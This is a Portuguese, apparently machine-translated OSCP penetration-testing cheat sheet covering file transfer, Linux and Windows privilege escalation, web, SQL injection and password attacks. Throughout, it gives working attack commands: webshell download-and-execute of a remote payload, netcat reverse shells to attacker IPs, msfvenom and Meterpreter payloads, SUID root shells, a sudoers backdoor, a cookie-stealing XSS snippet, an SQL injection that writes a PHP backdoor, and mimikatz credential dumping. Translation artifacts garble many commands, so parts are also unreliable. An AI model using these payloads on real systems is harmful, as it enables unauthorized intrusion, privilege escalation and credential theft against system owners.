Execute um servidor PHP básico http

php -S $ ip: 80

Criando um script Wget VB no Windows:

https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt

Script de transferência de arquivos do Windows que pode ser colado na linha de comando. As
transferências de arquivos para uma máquina Windows podem ser complicadas sem um shell
Meterpreter. O script a seguir pode ser copiado e colado em uma janela reversa básica e usado
para transferir arquivos de um servidor da web (os comandos timeout 1 são necessários após
cada nova linha):

echo Set args = Wscript.Arguments >> webdl.vbs

timeout 1

echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbs

timeout 1

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbs

timeout 1

echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbs

timeout 1

echo xHttp.Open "GET", Url, False >> webdl.vbs

timeout 1

echo xHttp.Send >> webdl.vbs

timeout 1

echo with bStrm >> webdl.vbs

timeout 1

echo .type = 1 ' >> webdl.vbs

timeout 1

echo .open >> webdl.vbs

timeout 1

echo .write xHttp.responseBody >> webdl.vbs

timeout 1

echo .savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbs

timeout 1

echo end with >> webdl.vbs

timeout 1

echo

O arquivo pode ser executado usando a seguinte sintaxe:

C:\temp\cscript.exe webdl.vbs

Montando compartilhamentos de arquivos

Monte o compartilhamento NFS em / mnt / nfs


mount $ ip: / vol / share / mnt / nfs

HTTP Put

nmap -p80 $ ip –script http-put –script-args http-put.url = '/ test / sicpwn.php', http-put.file = '/
var / www / html / sicpwn.php

Carregando arquivos

SCP

scp username1 @ source_host: directory1 / filename1 username2 @ destination_host:


directory2 / filename2

scp localfile username @ $ ip: ~ / Folder /

scp Linux_Exploit_Suggester.pl bob@192.168.1.10: ~

Webdav com Davtest- Alguns administradores de sistema são gentis o suficiente para habilitar
o método PUT - Esta ferramenta fará o upload automático de um backdoor

davtest -move -sendbd auto -url http://$ip

https://github.com/cldrn/davtest

Você também pode fazer upload de um arquivo usando o método PUT com o comando curl:

curl -T 'leetshellz.txt' 'http://$ip'

E renomeie-o para um arquivo executável usando o método MOVE com o comando curl:

curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'

Faça o upload do shell usando um shell de php limitado cmd

use o webshell para baixar e executar o meterpreter

[curl -s –data “cmd = wgethttp://174.0.42.42:8000/dhn -O / tmp / evil ”http: //$ip/files/sh.php

[curl -s –data“ cmd = chmod 777 / tmp / evil ”http: //$ip/files/sh.php

curl -s –Data “cmd = bash -c / tmp / evil” http: //$ip/files/sh.php

TFTP

mkdir / tftp

atftpd –daemon –port 69 / tftp

cp /usr/share/windows-binaries/nc.exe / tftp /

EX. DO WINDOWS HOST:

C: \ Users \ Offsec> tftp -i $ ip get nc.exe

FTP

apt-get update && apt-get install pure-ftpd

#! / bin / bash
groupadd ftpgroup

useradd -g ftpgroup -d / dev / null -s / etc ftpuser

pure-pw useradd offsec -u ftpuser -d / ftphome

pure-pw mkdb

cd / etc / pure-ftpd / auth /

ln -s ../conf/PureDB 60pdb

mkdir -p / ftphome

chown -R ftpuser: ftpgroup / ftphome /

/etc/init.d/pure-ftpd restart

Arquivos de embalagem

Ultimate Packer para eXecutables

upx -9 nc.exe

exe2bat - Converte EXE em um arquivo de texto que pode ser copiado e colado,

localize exe2bat

wine exe2bat.exe nc.exe nc.txt

Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasion

apt-get -y instalar git

git clonehttps://github.com/Veil-Framework/Veil-Evasion.git

cd Veil-Evasion /

cd setup

setup.sh -c

Escalonamento de privilégios

A reutilização de senha é sua amiga. Os laboratórios OSCP são realistas, na forma como os
usuários reutilizam senhas em diferentes serviços e até em diferentes caixas. Mantenha uma
lista de senhas quebradas e teste-as nas novas máquinas que encontrar.

Escalonamento de privilégios Linux

Guia de escalonamento de privilégios do Defacto Linux - Um guia muito mais completo para
enumeração de Linux:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Experimente o óbvio - talvez o usuário seja root ou possa fazer sudo para root:

id

sudo su
Aqui estão os comandos que aprendi a usar para realizar enumeração Linux e escalonamento
de privilégios:

Quais usuários podem fazer login nesta caixa (eles usam seu nome de usuário como senha) ?:

grep -vE "nologin|false" /etc/passwd

Qual versão do kernel estamos usando? Temos algum exploits de kernel para esta versão?

uname -a

searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

Quais aplicativos têm conexões ativas ?:

netstat -tulpn

Quais serviços estão sendo executados como root ?:

ps aux | grep root

Quais arquivos são executados como root / SUID / GUID ?:

find / -perm +2000 -user root -type f -print

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the
owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user
who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user
who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Quais pastas podem ser escritas por todos ?:

find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders

Existem alguns scripts que podem automatizar o processo de enumeração do Linux:

Google é minha ferramenta favorita de pesquisa de exploração de kernel do Linux. Muitos


desses verificadores automatizados estão perdendo exploits importantes do kernel, o que
pode criar um ponto cego muito frustrante durante seu curso de OSCP.

LinuxPrivChecker.py - Meu verificador automatizado favorito de enumeração de priv do Linux -


https://www.securitysift.com/download/linuxprivchecker.py

LinEnum - (atualizado recentemente)

https://github.com/rebootuser/LinEnum

linux-exploit-Suggester (atualizado recentemente)

https://github.com/mzet-/linux-exploit-suggester

Highon.coffee Linux Local Enum - Ótimo script de enumeração!

wget https://highon.coffee/downloads/linux-local-enum.sh

Linux Privilege Exploit Suggester (antigo não é atualizado há anos)

https://github.com/PenturaLabs/Linux_Exploit_Suggester

Enumeração pós-exploração do Linux e ferramentas de verificação de exploits

https://github.com/reider-roque/linpostexp

Explorações úteis do kernel

CVE-2010-2959 - Escalonamento de privilégio 'CAN BCM' - Linux Kernel <2.6.36-rc1 (Ubuntu


10.04 / 2.6.32)

https://www.exploit-db.com/exploits/14814/

wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814

$ gcc i-can-haz-modharden.c -o i-can-haz-modharden

$ ./i-can-haz-modharden

[+] launching root shell!

# id

uid=0(root) gid=0(root)

CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8

https://www.exploit-db.com/exploits/15285/

CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 <3.2.2 (Gentoo / Ubuntu x86 / x64)

https://git.zx2c4.com/CVE-2012-0056/about/

Linux CVE 2012-0056

wget -O exploit.c http://www.exploit-db.com/download/18411

gcc -o mempodipper exploit.c

./mempodipper

CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

https://dirtycow.ninja/
Existiu pela primeira vez em 2.6.22 (lançado em 2007) e foi corrigido em 18 de outubro de
2016

Execute um comando como um usuário diferente de root

sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf

Adicionar um usuário ou alterar uma senha

/usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor

echo thePassword | passwd haxzor --stdin

Exploração de escalonamento de privilégio local no Linux

SUID (Set proprietário vocêSer EU IRIA na execução)

Freqüentemente, os arquivos binários SUID C são necessários para gerar um shell como um
superusuário, você pode atualizar o UID / GID e o shell conforme necessário.

abaixo estão alguns exemplos rápidos de copiar e colar para vários shells:

SUID C Shell for /bin/bash

int main(void){

setresuid(0, 0, 0);

system("/bin/bash");

SUID C Shell for /bin/sh

int main(void){

setresuid(0, 0, 0);

system("/bin/sh");

Building the SUID Shell binary

gcc -o suid suid.c

For 32 bit:

gcc -m32 -o suid suid.c

Crie e compile um SUID a partir de um shell limitado (sem transferência de arquivo)

echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c


gcc privsc.c -o privsc

Comando prático se você conseguir que um usuário root o execute. Adicione o usuário www-
data ao grupo Root SUDO sem necessidade de senha:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers &&
chmod 440 /etc/sudoers' > /tmp/update

Você pode descobrir que um comando está sendo executado pelo usuário root, você pode
modificar a variável de ambiente PATH do sistema para executar seu comando. No exemplo
abaixo, ssh é substituído por um SUID de shell reverso conectando-se a 10.10.10.1 na porta
4444.

set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >>
/tmp/ssh

chmod +x ssh

SearchSploit

searchsploit –uncsearchsploit apache 2.2

searchsploit "Linux Kernel"

searchsploit linux 2.6 | grep -i ubuntu | grep local

searchsploit slmail

Sugestões de exploração do kernel para a versão 3.0.0 do kernel

./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0

Exploits de kernel Linux pré-compilados - Muito útil se o GCC não estiver instalado na máquina
de destino!

https://www.kernel-exploits.com/

Coletar senha de root

cat /etc/shadow |grep root

Encontre e exiba o arquivo proof.txt ou flag.txt - LOOT!

cat `find / -name proof.txt -print`

Escalonamento de privilégios do Windows

Recurso de escalonamento de privilégios do Windows


http://www.fuzzysecurity.com/tutorials/16.html

Guia de escalonamento de privilégios Metasploit Meterpreter https://www.offensive-


security.com/metasploit-unleashed/privilege-escalation/

Experimente o óbvio - talvez o usuário seja SYSTEM ou já faça parte do grupo Administrador:

whoami
net user "%username%"

Tente o comando getsystem usando meterpreter - raramente funciona, mas vale a pena
tentar.

meterpreter > getsystem

Nenhum upload de arquivo necessário Coleta de informações básicas do Windows Privlege


Escalation (com base no tutorial de segurança fuzzy e windows_privesc_check.py).

Copie e cole o seguinte conteúdo em seu shell remoto do Windows em Kali para gerar um
relatório rápido:

@echo --------- BASIC WINDOWS RECON --------- > report.txt

timeout 1

net config Workstation >> report.txt

timeout 1

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt

timeout 1

hostname >> report.txt

timeout 1

net users >> report.txt

timeout 1

ipconfig /all >> report.txt

timeout 1

route print >> report.txt

timeout 1

arp -A >> report.txt

timeout 1

netstat -ano >> report.txt

timeout 1

netsh firewall show state >> report.txt

timeout 1

netsh firewall show config >> report.txt

timeout 1

schtasks /query /fo LIST /v >> report.txt

timeout 1
tasklist /SVC >> report.txt

timeout 1

net start >> report.txt

timeout 1

DRIVERQUERY >> report.txt

timeout 1

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >>


report.txt

timeout 1

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >>


report.txt

timeout 1

dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt

timeout 1

findstr /si password *.xml *.ini *.txt >> report.txt

timeout 1

reg query HKLM /f password /t REG_SZ /s >> report.txt

timeout 1

reg query HKCU /f password /t REG_SZ /s >> report.txt

timeout 1

dir "C:\"

timeout 1

dir "C:\Program Files\" >> report.txt

timeout 1

dir "C:\Program Files (x86)\"

timeout 1

dir "C:\Users\"

timeout 1

dir "C:\Users\Public\"

timeout 1

echo REPORT COMPLETE!


Exploração WEBDAV do Windows Server 2003 e IIS 6.0
http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp >


aspshell.txt

cadavar http://$ip

dav:/> put aspshell.txt

Uploading aspshell.txt to `/aspshell.txt':

Progress: [=============================>] 100.0% of 38468 bytes succeeded.

dav:/> copy aspshell.txt aspshell3.asp;.txt

Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.

dav:/> exit

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 1.2.3.4

msf exploit(handler) > set LPORT 80

msf exploit(handler) > set ExitOnSession false

msf exploit(handler) > exploit -j

curl http://$ip/aspshell3.asp;.txt

[*] Started reverse TCP handler on 1.2.3.4:443

[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 1.2.3.5

[*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700

Os exploits de escalonamento de privilégios do Windows são geralmente escritos em Python.


Portanto, é necessário compilar o arquivo usando pyinstaller.py em um executável e enviá-lo
para o servidor remoto.

pip install pyinstaller

wget -O exploit.py http://www.exploit-db.com/download/31853

python pyinstaller.py --onefile exploit.py


Escalonamento de privilégios do Windows Server 2003 e IIS 6.0 usando personificação:

https://www.exploit-db.com/exploits/6705/

https://github.com/Re4son/Churrasco

c:\Inetpub>churrasco

churrasco

/churrasco/-->Usage: Churrasco.exe [-d] "command to run"

c:\Inetpub>churrasco -d "net user /add <username> <password>"

c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"

c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"

Windows MS11-080 - http://www.exploit-db.com/exploits/18176/

python pyinstaller.py --onefile ms11-080.py

mx11-080.exe -O XP

Powershell Exploits - você pode descobrir que alguns exploits de escalonamento de privilégios
do Windows são escritos no Powershell. Você pode não ter um shell interativo que permita
entrar no prompt do PowerShell. Depois que o script do PowerShell é carregado para o
servidor, aqui está uma linha rápida para executar um comando do PowerShell a partir de um
shell básico (cmd.exe):

MS16-032 https://www.exploit-db.com/exploits/39719/

powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1;


Invoke-MS16-032 }"

Ferramentas de escalação privada Powershell


https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

Windows Run As - Alternar usuários no Linux é uma tarefa complicada com o comando. No
entanto, um comando equivalente não existe no Windows. Aqui estão três maneiras de
executar um comando como um usuário diferente no Windows.SU

Sysinternals psexec é uma ferramenta útil para executar um comando em um servidor remoto
ou local como um usuário específico, desde que você tenha seu nome de usuário e senha. O
exemplo a seguir cria um shell reverso de um servidor Windows para nossa caixa Kali usando
netcat para Windows e Psexec (em um sistema de 64 bits).

C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10


4444 -e cmd.exe"

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich


Sysinternals - www.sysinternals.com

Runas.exe é uma ferramenta útil do Windows que permite que você execute um programa
como outro usuário, desde que você saiba sua senha. O exemplo a seguir cria um shell reverso
de um servidor Windows para nossa caixa Kali usando netcat para Windows e Runas.exe:

C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc


192.168.1.10 4444 -e cmd.exe"

Enter the password for Test:

Attempting to start nc.exe as user "COMPUTERNAME\Test" ...

O PowerShell também pode ser usado para iniciar um processo como outro usuário. O
seguinte script PowerShell simples executará um shell reverso com o nome de usuário e senha
especificados.

$username = '<username here>'

$password = '<password here>'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential $username,


$securePassword

Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential


-ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory
C:\Users\Public

Em seguida, execute este script usando powershell.exe:

powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"

Visualizador de configuração de serviço do Windows - Verifique se há configurações incorretas


nos serviços que podem levar ao aumento de privilégios. Você pode substituir o executável
pelo seu próprio e fazer com que o Windows execute qualquer código que desejar como
usuário privilegiado.

icacls scsiaccess.exe

scsiaccess.exe

NT AUTHORITY\SYSTEM:(I)(F)

BUILTIN\Administrators:(I)(F)

BUILTIN\Users:(I)(RX)

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)

Everyone:(I)(F)

Compile um comando personalizado para adicionar usuário no Windows usando C

root@kali:~# cat useradd.c

#include <stdlib.h> /* system, NULL, EXIT_FAILURE */


int main ()

int i;

i=system ("net localgroup administrators low /add");

return 0;

i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

Preferências de política de grupo (GPP)

Um erro de configuração comum e útil encontrado em ambientes de domínio modernos são os


arquivos de configurações GPP do Windows desprotegidos

mapear o compartilhamento SYSVOL do controlador de domínio

net use z:\\dc01\SYSVOL

Encontre o arquivo GPP: Groups.xml

dir /s Groups.xml

Revise o conteúdo de senhas

type Groups.xml

Descriptografar usando GPP Descriptografar

gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB

Encontre e exiba o proof.txt ou flag.txt - pegue o saque!

#meterpreter > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type


c:\pathto\proof.txt

Ataques de cliente, web e senha

Ataques de cliente

MS12-037- Internet Explorer 8 Fixed Col Span ID

wget -O exploit.htmlhttp://www.exploit-db.com/download/24017

serviço apache2 start

Echo de ataque do lado do cliente Jar assinado em JAVA ''> /var/www/html/java.html O

usuário deve clicar em executar no pop-up que ocorrer.

Shell de cliente Linux

http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Configurando o Client Side Exploit


Trocando o Shellcode

Injetando um shell de backdoor no Plink.exe

backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ ip -P 4444 -s reverse_shell_tcp

Ataques na web

Plataforma de avaliação de vulnerabilidade de aplicativos Web Shag

webshag-gui

Web Shells

http://tools.kali.org/maintaining-access/webshells

ls -l /usr/share/webshells/

Gerar um backdoor PHP (gerar) protegido com a senha fornecida (s3cr3t)

weevely generate s3cr3t

weevely http: //$ip/weevely.php s3cr3t

Ataque de miniaplicativo assinado em Java

Enumeração de servidor web HTTP / HTTPS

OWASP Dirbuster

nikto -h $ ip

Gerenciador de cookies de complementos essenciais do


Iceweaselhttps://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/

Adulteração de dados

https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

Impactos significativos de Cross Site Scripting (XSS) , como roubo de cookies e desvio de
autenticação, redirecionamento do navegador da vítima para uma página HTML maliciosa e
muito mais

Redirecionamento de navegador e injeção de IFRAME

<iframe SRC="http: // $ ip / report" altura = "0" largura="0"> </iframe>

Roubo de cookies e informações de sessão

<javascript>

Novo imagem().src="http: //$ip/bogus.php? output ="+documento.bolacha;

</roteiro>

nc -nlvp 80
Vulnerabilidades de inclusão de arquivo

Vulnerabilidades de inclusão de arquivo local (LFI) e remoto (RFI) são comumente encontradas
em código PHP mal escrito.

fimap - Há uma ferramenta Python chamada fimap que pode ser aproveitada para automatizar
a exploração de vulnerabilidades LFI / RFI que são encontradas no PHP (sqlmap for LFI):

https://github.com/kurobeats/fimap

Obtendo um shell de phpinfo ()

fimap + phpinfo () Exploit - Se um arquivo phpinfo () estiver presente, geralmente é possível


obter um shell, se você não souber a localização do arquivo phpinfo, o fimap pode sondá-lo ou
você pode usar uma ferramenta como OWASP DirBuster.

Para inclusões de arquivos locais, procure a função include () no código PHP.

incluir("lang /".$ _COOKIE['lang']);

incluir($ _GET['página'].".php");

LFI - codifica e decodifica um arquivo usando base64

curl -s \

"http: //$ ip/?page=php://filter/convert.base64-encode/resource=index" \

| grep -e '\ [^ \\ \] \\ {40, \\}' | base64 -d

LFI - Baixar arquivo com codificação base 64

http: //$ip/index.php? page = php: //filter/convert.base64-encode/resource=admin.php

Arquivos LFI Linux:

/ etc / issue

/ proc / version

/ etc / profile

/ etc / passwd

/ etc / passwd

/ etc / shadow

/root/.bash_history

/ var / log / dmessage

/ var / mail / root

/ var / spool / cron / crontabs / root

Arquivos LFI do Windows:

% SYSTEMROOT% \ repair \ system


% SYSTEMROOT% \ repair \ SAM

% SYSTEMROOT% \ repair \ SAM

% WINDIR% \ win.ini

% SYSTEMDRIVE% \ boot.ini

% WINDIR% \ Panther \ sysprep.inf

% WINDIR % \ system32 \ config \ AppEvent.Evt

Arquivos LFI OSX:

/ etc / fstab

/etc/master.passwd

/etc/resolv.conf

/ etc / sudoers

/etc/sysctl.conf

LFI - Baixar arquivo de senhas

http: //$ip/index.php? page = / etc / passwd

http: //$ip/index.php? file = .. / .. / .. / .. / etc / passwd

LFI - Baixar arquivo de senhas com evasão de filtro

http: //$ip/index.php? file = ..% 2F ..% 2F ..% 2F ..% 2Fetc% 2Fpasswd

Inclusão de arquivo local - Nas versões do PHP abaixo de 5.3, podemos terminar com o byte
nulo

GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../ .. / windows /


system32 / drivers / etc / hosts% 00

Arquivos de log de contaminação <?php echo shell_exec($_GET['cmd']);?>

Para uma inclusão de arquivo remoto, procure o código php que não foi limpo e passado para
a função de inclusão do PHP e o arquivo php.ini deve ser configurado para permitir arquivos
remotos

/etc/php5/cgi/php.ini - “allow_url_fopen” e “allow_url_include” ambos definidos como “on”

include($_REQUEST["file"].".php");

Inclusão de arquivo remoto

http://192.168.11.35/addguestbook.php?
name=a&comment=b&LANG=http://192.168.10.5/evil.txt

<?php echo shell\_exec("ipconfig");?>

Vulnerabilidades de banco de dados


Jogando com a sintaxe SQL Uma ótima ferramenta que encontrei para brincar com a sintaxe
SQL para uma variedade de tipos de banco de dados (MSSQL Server, MySql, PostGreSql,
Oracle) é o SQL Fiddle:

http://sqlfiddle.com

Outro site é rextester.com:

http://rextester.com/l/mysql_online_compiler

Detectando vulnerabilidades de injeção de SQL.

A maioria das ferramentas de varredura automatizadas modernas usa técnicas de atraso de


tempo para detectar vulnerabilidades de injeção de SQL. Este método pode dizer se uma
vulnerabilidade de injeção de SQL está presente, mesmo se for uma vulnerabilidade de injeção
de sql “cega” que não fornece nenhum dado de volta. Você sabe que sua injeção de SQL está
funcionando quando o servidor leva MUUuuuito tempo para responder. Eu adicionei um
comentário de linha no final de cada instrução de injeção para o caso de haver código SQL
adicional após o ponto de injeção.

Detecção de atraso no tempo de injeção do MSSQL Server SQL: Adicionar um atraso de 30


segundos a uma consulta de servidor MSSQL

Consulta Original

SELECT * FROM products WHERE name='Test';

Valor de Injeção

'; WAITFOR DELAY '00:00:30'; --

Consulta Resultante

SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --

Detecção de atraso no tempo de injeção do MySQL: Adicione um atraso de 30 segundos a uma


consulta MySQL

Consulta Original

SELECT * FROM products WHERE name='Test';

Valor de Injeção

'-SLEEP(30); #

Consulta Resultante

SELECT * FROM products WHERE name='Test'-SLEEP(30); #

Detecção de atraso no tempo de injeção PostGreSQL: Adicione um atraso de 30 segundos a


uma consulta PostGreSQL

Consulta Original

SELECT * FROM products WHERE name='Test';

Valor de Injeção
'; SELECT pg_sleep(30); --

Consulta Resultante

SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --

Obtenha hashes de senha de um banco de dados mysql de aplicativo da web chamado


“Usuários” - assim que você tiver o nome de usuário e a senha raiz do MySQL

mysql -u root -p -h $ip

use "Users"

show tables;

select \* from users;

Bypass de autenticação

name='wronguser' or 1=1;

name='wronguser' or 1=1 LIMIT 1;

Enumerando o banco de dados

http://192.168.11.35/comment.php?id=738)'

Mensagem de erro detalhada?

http://$ip/comment.php?id=738 order by 1

http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6

Determine a versão do MySQL:

http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6

Usuário atual sendo usado para a conexão do banco de dados:

http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6

Enumere tabelas de banco de dados e estruturas de coluna

http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM


information_schema.tables

Segmente a tabela de usuários no banco de dados

http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM


information_schema.columns where table_name='users'

Extraia o nome e a senha

http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM


users

Crie um backdoor

http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo


shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
Exemplos SQLMap

Rastreie os links

sqlmap -u http://$ip --crawl=1

sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5


--risk=3

SQLMap Pesquisa por bancos de dados contra uma injeção GET SQL suspeita

sqlmap –u http://$ip/blog/index.php?search –dbs

Tabelas de despejo SQLMap do banco de dados oscommerce na injeção GET SQL

sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps

Comando SQLMap GET Parameter

sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5

Parâmetro SQLMap Post Username

sqlmap -u http://$ip/login.php --method=POST


--data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5
--dbms=MySQL --dump-all

SQL Map OS Shell

sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell

sqlmap -u http://$ip/login.php --method=POST


--data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5
--dbms=MySQL --os-shell

Verificação automatizada de sqlmap

sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user


--current-db --passwords --file-read="/var/www/blah.php"

Verificação de sqlmap direcionada

sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump

Faça a varredura da url para união + injeção baseada em erro com o backend mysql e use um
agente de usuário aleatório + despejo de banco de dados

sqlmap -o -u http://$ip/index.php --forms --dbs

sqlmap -o -u "http://$ip/form/" --forms

Formulário de verificação do Sqlmap para injeção

sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump

Enumerar bancos de dados

sqlmap --dbms=mysql -u "$URL" --dbs

Enumere tabelas de um banco de dados específico


sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

Dados da tabela de despejo de um banco de dados e tabela específicos

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

Especifique o parâmetro para explorar

sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p


param2

Especifique o parâmetro para explorar em URIs 'agradáveis' (exploits param1)

sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs

Obter shell do sistema operacional

sqlmap --dbms=mysql -u "$URL" --os-shell

Obter shell SQL

sqlmap --dbms=mysql -u "$URL" --sql-shell

Consulta SQL

sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

Use o proxy Tor Socks5

sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

Exemplos NoSQLMap Você pode encontrar instâncias NoSQL como MongoDB em seus diários
OSCP ( ). NoSQLMap pode ajudá-lo a automatizar a enumeração NoSQLDatabase./cgi-
bin/mongo/2.2.3/dbparse.py

Instalação NoSQLMap

git clone https://github.com/codingo/NoSQLMap.git

CD NoSQLMap /

ls

pip instalar o couchdb

pip install pbkdf2

pip install ipcalc

python nosqlmap.py

Frequentemente, você pode criar uma mensagem de despejo de exceção com MongoDB
usando uma NoSQLQuery malformada, como:

a'; return this.a != 'BadData’'; var dummy='!

Ataques de senha

Descriptografia AES
http://aesencryption.net/

Converta várias páginas da web em uma lista de palavras

para x dentro 'índice' 'sobre' 'postar' 'contato' ; Faz \

curl http: //$ ip/$ x.html | html2markdown | tr -s ' ' '\\ n' >> webapp.txt ; \

feito

Ou converta html para dicionário de lista de palavras

html2dic index.html.out | sort -u > index-html.dict

Nomes de usuário e senhas padrão

CIRT

http://www.cirt.net/passwords

Segurança governamental - logins e senhas padrão para dispositivos em rede

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevice
s.php

Virus.org

http://www.virus.org/default-password/

Senha padrão

http://www.defaultpassword.com/

Força bruta

Scripts de força bruta do Nmap

https://nmap.org/nsedoc/categories/brute.html

Nmap Genérico com detecção automática de ataque de força bruta: nmap --script brute -Pn
<target.com or ip>

Ataque de força bruta do MySQL nmap: nmap --script=mysql-brute $ip

Arquivos de Dicionário

Listas de palavras em Kali

cd /usr/share/wordlists

Força bruta do espaço-chave

crunch 6 6 0123456789ABCDEF -o crunch1.txt

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

crunch 8 8 -t ,@@^^%%%

Pwdump e Fgdump - Gerente de contas de segurança (SAM)

pwdump.exe - tentativas de extrair hashes de senha


fgdump.exe - tenta eliminar antivírus locais antes de tentar despejar os hashes de senha e
credenciais em cache.

Editor de Credenciais do Windows (WCE)

permite executar vários ataques para obter senhas e hashes em texto claro. Uso: wce -w

Mimikatz

extraia senhas de texto simples, hash, código PIN e tíquetes Kerberos da memória. mimikatz
também pode executar passe-o-hash, passe-o-tíquete ou crie tíquetes Golden

https://github.com/gentilkiwi/mimikatz A partir do metasploit meterpreter (deve ter acesso de


nível de sistema):

meterpreter> load mimikatz

meterpreter> help mimikatz

meterpreter> msv

meterpreter> kerberos

meterpreter> mimikatz_command -f samdump::hashes

meterpreter> mimikatz_command -f sekurlsa::searchPasswords

Perfil de senha

cewl pode gerar uma lista de senhas a partir de uma página da web

